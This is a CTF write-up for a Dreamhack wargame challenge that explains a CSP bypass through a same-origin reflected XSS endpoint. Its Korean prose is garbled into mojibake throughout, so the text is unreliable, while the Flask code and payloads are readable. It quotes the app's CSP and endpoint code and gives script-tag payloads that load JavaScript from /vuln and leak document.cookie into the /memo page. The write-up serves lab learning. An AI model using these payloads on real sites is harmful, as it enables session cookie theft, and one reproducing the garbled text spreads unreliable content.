1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/435
2. ํด๊ฒฐ ๊ณผ์
์ฝ๋ ์ค add_header ๋ถ๋ถ์์ ์๋ต๊ฐ์ CSP๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- default-src 'self': ๊ธฐ๋ณธ์ ์ผ๋ก ๋์ผ ์ถ์ฒ(d ๊ฐ์ ๋๋ฉ์ธ)์ ๋ฆฌ์์ค๋ง ๋ก๋ํ ์ ์์ต๋๋ค.
- img-src https://dreamhack.io: ์ด๋ฏธ์ง๋ https://dreamhack.io ๋๋ฉ์ธ์์๋ง ๋ก๋ํ ์ ์์ต๋๋ค.
- style-src 'self' 'unsafe-inline': CSS๋ ๋์ผ ์ถ์ฒ์์ ๋ก๋ํ ์ ์์ผ๋ฉฐ, ์ธ๋ผ์ธ ์คํ์ผ๋ ํ์ฉํฉ๋๋ค('unsafe-inline').
- script-src 'self' 'nonce-{nonce}': ์๋ฐ์คํฌ๋ฆฝํธ๋ ๋์ผ ์ถ์ฒ์์ ๋ก๋ํ ์ ์์ผ๋ฉฐ, nonce ์์ฑ์ด ์ผ์นํ๋ ์คํฌ๋ฆฝํธ๋ง ์คํํ ์ ์์ต๋๋ค.
- nonce = os.urandom(16).hex(): nonce ๊ฐ์ ๊ฐฑ์ ํฉ๋๋ค. os.urandom(16)์ 16๋ฐ์ดํธ์ ๋๋ค ๋ฐ์ดํธ๋ฅผ ์์ฑํ๊ณ , .hex()์ ์ด๋ฅผ 16์ง์ ๋ฌธ์์ด๋ก ๋ณํํฉ๋๋ค. ์ด ์๋ก์ด nonce ๊ฐ์ ๋ค์ ์์ฒญ์ ์ฌ์ฉ๋ฉ๋๋ค.
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
vuln๊ณผ memo ์๋ํฌ์ธํธ๋ ์ด์ฉ์์ ์ ๋ ฅ๊ฐ์ ํ์ด์ง์ ์ถ๋ ฅํ๋ค.
memo ๋ render_template ํจ์๋ฅผ ์ฌ์ฉํด memo.html ์ ์ถ๋ ฅํ๋ค. render_template ํจ์๋ ์ ๋ฌ๋ ํ ํ๋ฆฟ ๋ณ์๋ฅผ ๊ธฐ๋กํ ๋ HTML ์ํฐํฐ์ฝ๋๋ก ๋ณํํด ์ ์ฅํ๊ธฐ ๋๋ฌธ์ XSS ์ทจ์ฝ์ ์ด ๋ฐ์ํ์ง ์๋๋ค.
๊ทธ๋ฌ๋ vuln ์ ์ด์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ ํ์ด์ง์ ๊ทธ๋๋ก ์ถ๋ ฅํ๊ธฐ ๋๋ฌธ์ XSS ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์๋ค.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
...
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
์๋ฐ์คํฌ๋ฆฝํธ๋ ๋์ผ ์ถ์ฒ์์ ๋ก๋ํ ์ ์๋ค๊ณ ๋์ด ์์ผ๋ฏ๋ก ํ์ฌ ๊ฒฝ๋ก๋ฅผ ํฌํจ์์ผ alert(1)์ ๋ฐ์์ํฌ ์ ์๋ค.
<script src="./vuln?param=alert(document.cookie)"></script>
์คํฌ๋ฆฝํธ ์ฝ๋๊ฐ ์คํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด๋ฅผ ๋ณํํ์ฌ ์ฟ ํค๊ฐ์ memoํ์ด์ง์ ์ถ๋ ฅ๋๋๋ก ํ ๊ฒ์ด๋ค.
<script src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></script>
-> %2b๋ URL ์ธ์ฝ๋ฉ๋ + ๋ฌธ์์ด๋ค.
URL์์ + ๋ฌธ์๋ ๊ณต๋ฐฑ์ ์๋ฏธํ๋๋ฐ, ์ฌ๊ธฐ์ %2b๋ฅผ ์ฌ์ฉํ ์ด์ ๋ URL์ด ๋์ฝ๋ฉ๋๋ ๊ณผ์ ์์ +๊ฐ ๊ณต๋ฐฑ์ผ๋ก ๋ณํ๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด์์ด๋ค.
์ฑ๊ณต